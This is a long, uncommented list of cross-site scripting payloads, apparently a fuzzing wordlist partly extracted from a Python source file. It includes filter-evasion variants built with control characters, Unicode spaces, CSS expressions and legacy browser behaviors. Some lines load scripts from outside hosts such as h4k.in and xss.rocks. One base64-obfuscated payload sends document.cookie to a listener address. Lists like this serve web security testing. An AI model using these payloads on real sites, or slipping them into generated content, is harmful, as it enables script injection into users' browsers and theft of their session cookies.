--><!-- ---> <img src=xxx:x onerror=javascript:alert(1)> -->
--><!-- --\x00> <img src=xxx:x onerror=javascript:alert(1)> -->
--><!-- --\x21> <img src=xxx:x onerror=javascript:alert(1)> -->
--><!-- --\x3E> <img src=xxx:x onerror=javascript:alert(1)> -->
`"'><img src='#\x27 onerror=javascript:alert(1)>
<a href="javascript\x3Ajavascript:alert(1)" id="fuzzelement1">test</a>
"'`><p><svg><script>a='hello\x27;javascript:alert(1)//';</script></p>
<a href="javas\x00cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x07cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x0Dcript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x0Acript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x08cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x02cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x03cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x04cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x01cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x05cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x0Bcript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x09cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x06cript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javas\x0Ccript:javascript:alert(1)" id="fuzzelement1">test</a>
<script>/* *\x2A/javascript:alert(1)// */</script>
<script>/* *\x00/javascript:alert(1)// */</script>
<style></style\x3E<img src="about:blank" onerror=javascript:alert(1)//></style>
<style></style\x0D<img src="about:blank" onerror=javascript:alert(1)//></style>
<style></style\x09<img src="about:blank" onerror=javascript:alert(1)//></style>
<style></style\x20<img src="about:blank" onerror=javascript:alert(1)//></style>
<style></style\x0A<img src="about:blank" onerror=javascript:alert(1)//></style>
"'`>ABC<div style="font-family:'foo'\x7Dx:expression(javascript:alert(1);/*';">DEF
"'`>ABC<div style="font-family:'foo'\x3Bx:expression(javascript:alert(1);/*';">DEF
<script>if("x\\xE1\x96\x89".length==2) { javascript:alert(1);}</script>
<script>if("x\\xE0\xB9\x92".length==2) { javascript:alert(1);}</script>
<script>if("x\\xEE\xA9\x93".length==2) { javascript:alert(1);}</script>
'`"><\x3Cscript>javascript:alert(1)</script>
"'`><\x3Cimg src=xxx:x onerror=javascript:alert(1)>
"'`><\x00img src=xxx:x onerror=javascript:alert(1)>
<script src="data:text/plain\x2Cjavascript:alert(1)"></script>
<script src="data:\xD4\x8F,javascript:alert(1)"></script>
<script src="data:\xE0\xA4\x98,javascript:alert(1)"></script>
<script src="data:\xCB\x8F,javascript:alert(1)"></script>
<script\x20type="text/javascript">javascript:alert(1);</script>
ABC<div style="x\x3Aexpression(javascript:alert(1)">DEF
ABC<div style="x:expression\x5C(javascript:alert(1)">DEF
ABC<div style="x:expression\x00(javascript:alert(1)">DEF
ABC<div style="x:exp\x00ression(javascript:alert(1)">DEF
ABC<div style="x:exp\x5Cression(javascript:alert(1)">DEF
ABC<div style="x:\x0Aexpression(javascript:alert(1)">DEF
ABC<div style="x:\x09expression(javascript:alert(1)">DEF
ABC<div style="x:\xE3\x80\x80expression(javascript:alert(1)">DEF
ABC<div style="x:\xE2\x80\x84expression(javascript:alert(1)">DEF
ABC<div style="x:\xC2\xA0expression(javascript:alert(1)">DEF
ABC<div style="x:\xE2\x80\x80expression(javascript:alert(1)">DEF
ABC<div style="x:\xE2\x80\x8Aexpression(javascript:alert(1)">DEF
ABC<div style="x:\x0Dexpression(javascript:alert(1)">DEF
ABC<div style="x:\x0Cexpression(javascript:alert(1)">DEF
ABC<div style="x:\xE2\x80\x87expression(javascript:alert(1)">DEF
ABC<div style="x:\xEF\xBB\xBFexpression(javascript:alert(1)">DEF
ABC<div style="x:\x20expression(javascript:alert(1)">DEF
ABC<div style="x:\xE2\x80\x88expression(javascript:alert(1)">DEF
ABC<div style="x:\x00expression(javascript:alert(1)">DEF
ABC<div style="x:\xE2\x80\x8Bexpression(javascript:alert(1)">DEF
ABC<div style="x:\xE2\x80\x86expression(javascript:alert(1)">DEF
ABC<div style="x:\xE2\x80\x85expression(javascript:alert(1)">DEF
ABC<div style="x:\xE2\x80\x82expression(javascript:alert(1)">DEF
ABC<div style="x:\x0Bexpression(javascript:alert(1)">DEF
ABC<div style="x:\xE2\x80\x81expression(javascript:alert(1)">DEF
ABC<div style="x:\xE2\x80\x83expression(javascript:alert(1)">DEF
ABC<div style="x:\xE2\x80\x89expression(javascript:alert(1)">DEF
<a href="\x0Bjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x0Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xC2\xA0javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x05javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE1\xA0\x8Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x18javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x11javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x88javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x89javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x80javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x17javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x03javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x0Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x1Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x00javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x10javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x82javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x20javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x13javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x09javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x8Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x14javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x19javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\xAFjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x1Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x81javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x1Djavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x87javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x07javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE1\x9A\x80javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x83javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x04javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x01javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x08javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x84javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x86javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE3\x80\x80javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x12javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x0Djavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x0Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x0Cjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x15javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\xA8javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x16javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x02javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x1Bjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x06javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\xA9javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x80\x85javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x1Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\xE2\x81\x9Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x1Cjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javascript\x00:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javascript\x3A:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javascript\x09:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javascript\x0D:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javascript\x0A:javascript:alert(1)" id="fuzzelement1">test</a>
`"'><img src=xxx:x \x0Aonerror=javascript:alert(1)>
`"'><img src=xxx:x \x22onerror=javascript:alert(1)>
`"'><img src=xxx:x \x0Bonerror=javascript:alert(1)>
`"'><img src=xxx:x \x0Donerror=javascript:alert(1)>
`"'><img src=xxx:x \x2Fonerror=javascript:alert(1)>
`"'><img src=xxx:x \x09onerror=javascript:alert(1)>
`"'><img src=xxx:x \x0Conerror=javascript:alert(1)>
`"'><img src=xxx:x \x00onerror=javascript:alert(1)>
`"'><img src=xxx:x \x27onerror=javascript:alert(1)>
`"'><img src=xxx:x \x20onerror=javascript:alert(1)>
"`'><script>\x3Bjavascript:alert(1)</script>
"`'><script>\x0Djavascript:alert(1)</script>
"`'><script>\xEF\xBB\xBFjavascript:alert(1)</script>
"`'><script>\xE2\x80\x81javascript:alert(1)</script>
"`'><script>\xE2\x80\x84javascript:alert(1)</script>
"`'><script>\xE3\x80\x80javascript:alert(1)</script>
"`'><script>\x09javascript:alert(1)</script>
"`'><script>\xE2\x80\x89javascript:alert(1)</script>
"`'><script>\xE2\x80\x85javascript:alert(1)</script>
"`'><script>\xE2\x80\x88javascript:alert(1)</script>
"`'><script>\x00javascript:alert(1)</script>
"`'><script>\xE2\x80\xA8javascript:alert(1)</script>
"`'><script>\xE2\x80\x8Ajavascript:alert(1)</script>
"`'><script>\xE1\x9A\x80javascript:alert(1)</script>
"`'><script>\x0Cjavascript:alert(1)</script>
"`'><script>\x2Bjavascript:alert(1)</script>
"`'><script>\xF0\x90\x96\x9Ajavascript:alert(1)</script>
"`'><script>-javascript:alert(1)</script>
"`'><script>\x0Ajavascript:alert(1)</script>
"`'><script>\xE2\x80\xAFjavascript:alert(1)</script>
"`'><script>\x7Ejavascript:alert(1)</script>
"`'><script>\xE2\x80\x87javascript:alert(1)</script>
"`'><script>\xE2\x81\x9Fjavascript:alert(1)</script>
"`'><script>\xE2\x80\xA9javascript:alert(1)</script>
"`'><script>\xC2\x85javascript:alert(1)</script>
"`'><script>\xEF\xBF\xAEjavascript:alert(1)</script>
"`'><script>\xE2\x80\x83javascript:alert(1)</script>
"`'><script>\xE2\x80\x8Bjavascript:alert(1)</script>
"`'><script>\xEF\xBF\xBEjavascript:alert(1)</script>
"`'><script>\xE2\x80\x80javascript:alert(1)</script>
"`'><script>\x21javascript:alert(1)</script>
"`'><script>\xE2\x80\x82javascript:alert(1)</script>
"`'><script>\xE2\x80\x86javascript:alert(1)</script>
"`'><script>\xE1\xA0\x8Ejavascript:alert(1)</script>
"`'><script>\x0Bjavascript:alert(1)</script>
"`'><script>\x20javascript:alert(1)</script>
"`'><script>\xC2\xA0javascript:alert(1)</script>
"/><img/onerror=\x0Bjavascript:alert(1)\x0Bsrc=xxx:x />
"/><img/onerror=\x22javascript:alert(1)\x22src=xxx:x />
"/><img/onerror=\x09javascript:alert(1)\x09src=xxx:x />
"/><img/onerror=\x27javascript:alert(1)\x27src=xxx:x />
"/><img/onerror=\x0Ajavascript:alert(1)\x0Asrc=xxx:x />
"/><img/onerror=\x0Cjavascript:alert(1)\x0Csrc=xxx:x />
"/><img/onerror=\x0Djavascript:alert(1)\x0Dsrc=xxx:x />
"/><img/onerror=\x60javascript:alert(1)\x60src=xxx:x />
"/><img/onerror=\x20javascript:alert(1)\x20src=xxx:x />
<script\x2F>javascript:alert(1)</script>
<script\x20>javascript:alert(1)</script>
<script\x0D>javascript:alert(1)</script>
<script\x0A>javascript:alert(1)</script>
<script\x0C>javascript:alert(1)</script>
<script\x00>javascript:alert(1)</script>
<script\x09>javascript:alert(1)</script>
`"'><img src=xxx:x onerror\x0B=javascript:alert(1)>
`"'><img src=xxx:x onerror\x00=javascript:alert(1)>
`"'><img src=xxx:x onerror\x0C=javascript:alert(1)>
`"'><img src=xxx:x onerror\x0D=javascript:alert(1)>
`"'><img src=xxx:x onerror\x20=javascript:alert(1)>
`"'><img src=xxx:x onerror\x0A=javascript:alert(1)>
`"'><img src=xxx:x onerror\x09=javascript:alert(1)>
<script>javascript:alert(1)<\x00/script>
<img src=# onerror\x3D"javascript:alert(1)" >
<input onfocus=javascript:alert(1) autofocus>
<input onblur=javascript:alert(1) autofocus><input autofocus>
<video poster=javascript:javascript:alert(1)//
<body onscroll=javascript:alert(1)><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><input autofocus>
<form id=test onforminput=javascript:alert(1)><input></form><button form=test onformchange=javascript:alert(1)>X
<video><source onerror="javascript:javascript:alert(1)">
<video onerror="javascript:javascript:alert(1)"><source>
<form><button formaction="javascript:javascript:alert(1)">X
<body oninput=javascript:alert(1)><input autofocus>
<math href="javascript:javascript:alert(1)">CLICKME</math> <math> <maction actiontype="statusline#http://google.com" xlink:href="javascript:javascript:alert(1)">CLICKME</maction> </math>
<frameset onload=javascript:alert(1)>
<table background="javascript:javascript:alert(1)">
<!--<img src="--><img src=x onerror=javascript:alert(1)//">
<comment><img src="</comment><img src=x onerror=javascript:alert(1))//">
<![><img src="]><img src=x onerror=javascript:alert(1)//">
<style><img src="</style><img src=x onerror=javascript:alert(1)//">
<li style=list-style:url() onerror=javascript:alert(1)> <div style=content:url(data:image/svg+xml,%%3Csvg/%%3E);visibility:hidden onload=javascript:alert(1)></div>
<head><base href="javascript://"></head><body><a href="/. /,javascript:alert(1)//#">XXX</a></body>
<SCRIPT FOR=document EVENT=onreadystatechange>javascript:alert(1)</SCRIPT>
<object data="data:text/html;base64,%(base64)s">
<embed src="data:text/html;base64,%(base64)s">
<div id="div1"><input value="``onmouseover=javascript:alert(1)"></div> <div id="div2"></div><script>document.getElementById("div2").innerHTML = document.getElementById("div1").innerHTML;</script>
<x '="foo"><x foo='><img src=x onerror=javascript:alert(1)//'>
<embed src="javascript:alert(1)">
<img src="javascript:alert(1)">
<image src="javascript:alert(1)">
<script src="javascript:alert(1)">
<div style=width:1px;filter:glow onfilterchange=javascript:alert(1)>x
<? foo="><script>javascript:alert(1)</script>">
<! foo="><script>javascript:alert(1)</script>">
</ foo="><script>javascript:alert(1)</script>">
<? foo="><x foo='?><script>javascript:alert(1)</script>'>">
<! foo="[[[Inception]]"><x foo="]foo><script>javascript:alert(1)</script>">
<% foo><x foo="%><script>javascript:alert(1)</script>">
<div id=d><x xmlns="><iframe onload=javascript:alert(1)"></div> <script>d.innerHTML=d.innerHTML</script>
<img \x00src=x onerror="alert(1)">
<img \x47src=x onerror="javascript:alert(1)">
<img \x11src=x onerror="javascript:alert(1)">
<img \x12src=x onerror="javascript:alert(1)">
<img\x47src=x onerror="javascript:alert(1)">
<img\x10src=x onerror="javascript:alert(1)">
<img\x13src=x onerror="javascript:alert(1)">
<img\x32src=x onerror="javascript:alert(1)">
<img\x11src=x onerror="javascript:alert(1)">
<img \x34src=x onerror="javascript:alert(1)">
<img \x39src=x onerror="javascript:alert(1)">
<img \x00src=x onerror="javascript:alert(1)">
<img src\x09=x onerror="javascript:alert(1)">
<img src\x10=x onerror="javascript:alert(1)">
<img src\x13=x onerror="javascript:alert(1)">
<img src\x32=x onerror="javascript:alert(1)">
<img src\x12=x onerror="javascript:alert(1)">
<img src\x11=x onerror="javascript:alert(1)">
<img src\x00=x onerror="javascript:alert(1)">
<img src\x47=x onerror="javascript:alert(1)">
<img src=x\x09onerror="javascript:alert(1)">
<img src=x\x10onerror="javascript:alert(1)">
<img src=x\x11onerror="javascript:alert(1)">
<img src=x\x12onerror="javascript:alert(1)">
<img src=x\x13onerror="javascript:alert(1)">
<img src=x onerror=\x09"javascript:alert(1)">
<img src=x onerror=\x10"javascript:alert(1)">
<img src=x onerror=\x11"javascript:alert(1)">
<img src=x onerror=\x12"javascript:alert(1)">
<img src=x onerror=\x32"javascript:alert(1)">
<img src=x onerror=\x00"javascript:alert(1)">
<a href=javascript:javascript:alert(1)>XXX</a>
<img src="x` `<script>javascript:alert(1)</script>"` `>
<img src onerror /" '"= alt=javascript:alert(1)//">
<title onpropertychange=javascript:alert(1)></title><title title=>
<a href=http://foo.bar/#x=`y></a><img alt="`><img src=x:x onerror=javascript:alert(1)></a>">
<!--[if]><script>javascript:alert(1)</script -->
<!--[if<img src=x onerror=javascript:alert(1)//]> -->
<script src="/\%(jscript)s"></script>
<script src="\\%(jscript)s"></script>
<object id="x" classid="clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598"></object> <object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" onqt_error="javascript:alert(1)" style="behavior:url(#x);"><param name=postdomevents /></object>
<a style="-o-link:'javascript:javascript:alert(1)';-o-link-source:current">X
<style>p[foo=bar{}*{-o-link:'javascript:javascript:alert(1)'}{}*{-o-link-source:current}]{color:red};</style>
<link rel=stylesheet href=data:,*%7bx:expression(javascript:alert(1))%7d
<style>@import "data:,*%7bx:expression(javascript:alert(1))%7D";</style>
<a style="pointer-events:none;position:absolute;"><a style="position:absolute;" onclick="javascript:alert(1);">XXX</a></a><a href="javascript:javascript:alert(1)">XXX</a>
<style>*[{}@import'%(css)s?]</style>X
<div style="font-family:'foo ;color:red;';">XXX
<div style="font-family:foo}color=red;">XXX
<// style=x:expression\28javascript:alert(1)\29>
<style>*{x:ｅｘｐｒｅｓｓｉｏｎ(javascript:alert(1))}</style>
<div style=content:url(%(svg)s)></div>
<div style="list-style:url(http://foo.f)\20url(javascript:javascript:alert(1));">X
<div id=d><div style="font-family:'sans\27\3B color\3Ared\3B'">X</div></div> <script>with(document.getElementById("d"))innerHTML=innerHTML</script>
<div style="background:url(/f#oo/;color:red/*/foo.jpg);">X
<div style="font-family:foo{bar;background:url(http://foo.f/oo};color:red/*/foo.jpg);">X
<div id="x">XXX</div> <style> #x{font-family:foo[bar;color:green;} #y];color:red;{} </style>
<x style="background:url('x;color:red;/*')">XXX</x>
<script>({set/**/$($){_/**/setter=$,_=javascript:alert(1)}}).$=eval</script>
<script>({0:#0=eval/#0#/#0#(javascript:alert(1))})</script>
<script>ReferenceError.prototype.__defineGetter__('name', function(){javascript:alert(1)}),x</script>
<script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('javascript:alert(1)')()</script>
<meta charset="x-imap4-modified-utf7">&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi
<meta charset="x-imap4-modified-utf7">&<script&S1&TS&1>alert&A7&(1)&R&UA;&&<&A9&11/script&X&>
<meta charset="mac-farsi">¼script¾javascript:alert(1)¼/script¾
X<x style=`behavior:url(#default#time2)` onbegin=`javascript:alert(1)` >
1<set/xmlns=`urn:schemas-microsoft-com:time` style=`behAvior:url(#default#time2)` attributename=`innerhtml` to=`<img/src="x"onerror=javascript:alert(1)>`>
1<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2) attributename=innerhtml values=<img/src="."onerror=javascript:alert(1)>>
<vmlframe xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute;width:100%;height:100% src=%(vml)s#xss></vmlframe>
1<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:javascript:alert(1) strokecolor=white strokeweight=1000px from=0 to=1000 /></a>
<a style="behavior:url(#default#AnchorClick);" folder="javascript:javascript:alert(1)">XXX</a>
<x style="behavior:url(%(sct)s)">
<xml id="xss" src="%(htc)s"></xml> <label dataformatas="html" datasrc="#xss" datafld="payload"></label>
<event-source src="%(event)s" onload="javascript:alert(1)">
<a href="javascript:javascript:alert(1)"><event-source src="data:application/x-dom-event-stream,Event:click%0Adata:XXX%0A%0A">
<div id="x">x</div> <xml:namespace prefix="t"> <import namespace="t" implementation="#default#time2"> <t:set attributeName="innerHTML" targetElement="x" to="<imgsrc=x:xonerror=javascript:alert(1)>">
<script>%(payload)s</script>
<script src=%(jscript)s></script>
<script language='javascript' src='%(jscript)s'></script>
<script>javascript:alert(1)</script>
<IMG SRC="javascript:javascript:alert(1);">
<IMG SRC=javascript:javascript:alert(1)>
<IMG SRC=`javascript:javascript:alert(1)`>
<SCRIPT SRC=%(jscript)s?<B>
<FRAMESET><FRAME SRC="javascript:javascript:alert(1);"></FRAMESET>
<BODY ONLOAD=javascript:alert(1)>
<BODY ONLOAD=javascript:javascript:alert(1)>
<IMG SRC="jav ascript:javascript:alert(1);">
<BODY onload!#$%%&()*~+-_.,:;?@[/|\]^`=javascript:alert(1)>
<SCRIPT/SRC="%(jscript)s"></SCRIPT>
<<SCRIPT>%(payload)s//<</SCRIPT>
<IMG SRC="javascript:javascript:alert(1)"
<iframe src=%(scriptlet)s <
<INPUT TYPE="IMAGE" SRC="javascript:javascript:alert(1);">
<IMG DYNSRC="javascript:javascript:alert(1)">
<IMG LOWSRC="javascript:javascript:alert(1)">
<BGSOUND SRC="javascript:javascript:alert(1);">
<BR SIZE="&{javascript:alert(1)}">
<LAYER SRC="%(scriptlet)s"></LAYER>
<LINK REL="stylesheet" HREF="javascript:javascript:alert(1);">
<STYLE>@import'%(css)s';</STYLE>
<META HTTP-EQUIV="Link" Content="<%(css)s>; REL=stylesheet">
<XSS STYLE="behavior: url(%(htc)s);">
<STYLE>li {list-style-image: url("javascript:javascript:alert(1)");}</STYLE><UL><LI>XSS
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:javascript:alert(1);">
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:javascript:alert(1);">
<IFRAME SRC="javascript:javascript:alert(1);"></IFRAME>
<TABLE BACKGROUND="javascript:javascript:alert(1)">
<TABLE><TD BACKGROUND="javascript:javascript:alert(1)">
<DIV STYLE="background-image: url(javascript:javascript:alert(1))">
<DIV STYLE="width:expression(javascript:alert(1));">
<IMG STYLE="xss:expr/*XSS*/ession(javascript:alert(1))">
<XSS STYLE="xss:expression(javascript:alert(1))">
<STYLE TYPE="text/javascript">javascript:alert(1);</STYLE>
<STYLE>.XSS{background-image:url("javascript:javascript:alert(1)");}</STYLE><A CLASS=XSS></A>
<STYLE type="text/css">BODY{background:url("javascript:javascript:alert(1)")}</STYLE>
<!--[if gte IE 4]><SCRIPT>javascript:alert(1);</SCRIPT><![endif]-->
<BASE HREF="javascript:javascript:alert(1);//">
<OBJECT TYPE="text/x-scriptlet" DATA="%(scriptlet)s"></OBJECT>
<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:javascript:alert(1)></OBJECT>
<HTML xmlns:xss><?import namespace="xss" implementation="%(htc)s"><xss:xss>XSS</xss:xss></HTML>""","XML namespace."),("""<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:javascript:alert(1)"></B></I></XML><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>javascript:alert(1)</SCRIPT>"></BODY></HTML>
<SCRIPT SRC="%(jpg)s"></SCRIPT>
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-%(payload)s;+ADw-/SCRIPT+AD4-
<form id="test" /><button form="test" formaction="javascript:javascript:alert(1)">X
<body onscroll=javascript:alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
<P STYLE="behavior:url('#default#time2')" end="0" onEnd="javascript:alert(1)">
<STYLE>a{background:url('s1' 's2)}@import javascript:javascript:alert(1);');}</STYLE>
<meta charset= "x-imap4-modified-utf7"&&>&&<script&&>javascript:alert(1)&&;&&<&&/script&&>
<SCRIPT onreadystatechange=javascript:javascript:alert(1);></SCRIPT>
<style onreadystatechange=javascript:javascript:alert(1);></style>
<?xml version="1.0"?><html:html xmlns:html='http://www.w3.org/1999/xhtml'><html:script>javascript:alert(1);</html:script></html:html>
<embed code=%(scriptlet)s></embed>
<embed code=javascript:javascript:alert(1);></embed>
<embed src=%(jscript)s></embed>
<frameset onload=javascript:javascript:alert(1)></frameset>
<Img src = x onerror = "javascript: window.onerror = alert; throw XSS">
<Video> <source onerror = "javascript: alert (XSS)">
<Input value = "XSS" type = text>
<applet code="javascript:confirm(document.cookie);">
<isindex x="javascript:" onmouseover="alert(XSS)">
"></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
"><img src="x:x" onerror="alert(XSS)">
"><iframe src="javascript:alert(XSS)">
<object data="javascript:alert(XSS)">
<isindex type=image src=1 onerror=alert(XSS)>
<img src=x:alert(alt) onerror=eval(src) alt=0>
<img src="x:gif" onerror="window['al\u0065rt'](0)"></img>
<iframe/src="data:text/html,<svg onload=alert(1)>">
<form><a href="javascript:\u0061lert(1)">X
</script><img/*%00/src="worksinchrome:prompt(1)"/%00*/onerror='eval(src)'>
<style>//*{x:expression(alert(/xss/))}//<style></style>
On Mouse Over
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe
<OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT>
<data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=
<javascript:alert(document.cookie>)
xss=500); alert(document.cookie);//
<img onload="eval(atob('ZG9jdW1lbnQubG9jYXRpb249Imh0dHA6Ly9saXN0ZXJuSVAvIitkb2N1bWVudC5jb29raWU='))">
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="httx://xss.rocks/xss.js"></SCRIPT>
<SCRIPT a=">'>" SRC="httx://xss.rocks/xss.js"></SCRIPT>
<SCRIPT a=`>` SRC="httx://xss.rocks/xss.js"></SCRIPT>
<SCRIPT a=">" '' SRC="httx://xss.rocks/xss.js"></SCRIPT>
<SCRIPT "a='>'" SRC="httx://xss.rocks/xss.js"></SCRIPT>
<SCRIPT a=">" SRC="httx://xss.rocks/xss.js"></SCRIPT>
+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K
Set.constructor`alert\x28document.domain\x29```
<IMG SRC="`<javascript:alert>`('XSS')"
<SCRIPT SRC=//xss.rocks/.j>
<<SCRIPT>alert("XSS");//\<</SCRIPT>
<SCRIPT/SRC="http://xss.rocks/xss.js"></SCRIPT>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>"\>
\<a onmouseover=alert(document.cookie)\>xxs link\</a\>
\<a onmouseover="alert(document.cookie)"\>xxs link\</a\>
<IMG SRC=`javascript:alert("Soufiane says, 'XSS'")`>
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>
"><script>alert(0);</script>
'><script>alert(0);</script>
'<script>alert(0);</script>
<img src=x onerror=;;alert(1) />
}</style><script>a=eval;b=alert;a(b(/i/.source));</script>
;}alert(0);{
"+alert(0)+"
xyz onerror=alert(6);
onclick=eval/**/(/ale/.source%2b/rt/.source%2b/(7)/.source);
a=eval;b=alert;a(b(8));
";//%0da=eval;b=alert;a(b(10));//
"};a=eval;b=alert;a(b(12));//
"];a=eval;b=alert;a(b(16));//
%0da=eval;b=alert;a(b(/d/.source));
<script src=//h4k.in
<script src=http://h4k.in/>
<script src=//h4k.in></script>
"><script src=//h4k.in></script><
<scri
pt src=//h4k.in><
></script>
"><script src=http://h4k.in/i.js></script>
"><script>a=document.createElement('script');a.src='http://h4k.in/i.js';document.body.appendChild(a);</script>
"><script>eval(String.fromCharCode(97,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,97,46,115,114,99,61,39,104,116,116,112,58,47,47,104,52,107,46,105,110,47,105,46,106,115,39,59,100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,97,41,59))</script>
vbscript:Execute(MsgBox(chr(88)&chr(83)&chr(83)))
" style="color: expression(alert(0));" a="
" style="-moz-binding:url(http://h4k.in/mozxss.xml#xss);" a="
